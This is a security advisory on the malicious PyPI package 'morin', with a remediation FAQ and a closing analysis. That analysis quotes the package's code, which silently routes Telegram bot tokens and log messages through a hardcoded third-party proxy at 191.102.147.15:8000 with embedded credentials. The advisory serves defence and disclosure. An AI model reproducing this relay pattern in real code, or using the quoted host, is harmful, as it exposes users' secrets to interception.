Which versions of morin are malicious?

The following PyPI versions of morin are flagged malicious: 0.5.23, 0.5.24, 0.5.26. Treat any of these as compromised.

How do I remediate morin if I installed it?

morin is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed morin — how do I know if it already compromised me?

If morin was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is morin part of a known attack campaign?

Yes — morin is associated with the IN-MAL-2026-003291, IN-MAL-2026-003290, IN-MAL-2026-003576 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find morin across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for morin (3 malicious versions).

Advisory published May 19, 2026Updated May 26, 2026

morin is a confirmed malicious PyPI package (MAL-2026-4757) that steals credentials and exfiltrates sensitive data (malicious versions 0.5.23, 0.5.24, 0.5.26). Do not install it — remove it immediately and rotate any exposed credentials.

What this malware does

morin/common.py hardcodes an HTTP proxy at 191.102.147.15:8000 with embedded credentials (proxies = {'https': 'http://5TUMV6:[email protected]:8000'}) and unconditionally routes all Telegram API calls through it via requests.get(url, params=params, proxies=proxies, timeout=15) where url=https://api.telegram.org/bot{bot_token}/sendMessage. Every Clickhouse/connector class in the package funnels through Common.log_func / Common.send_logs, so any caller using the package's notification feature ends up tunneling their Telegram bot_token (carried in the URL path) and log message content through this third-party host. The proxy is not the publisher's documented infrastructure, is not mentioned in the package documentation, and the operator of 191.102.147.15:8000 can observe and tamper with the CONNECT-tunneled traffic — including capturing the bearer bot tokens. This is the silent-relay shape: a public API quietly redirects caller-supplied secrets through an attacker-or-third-party-controlled destination.
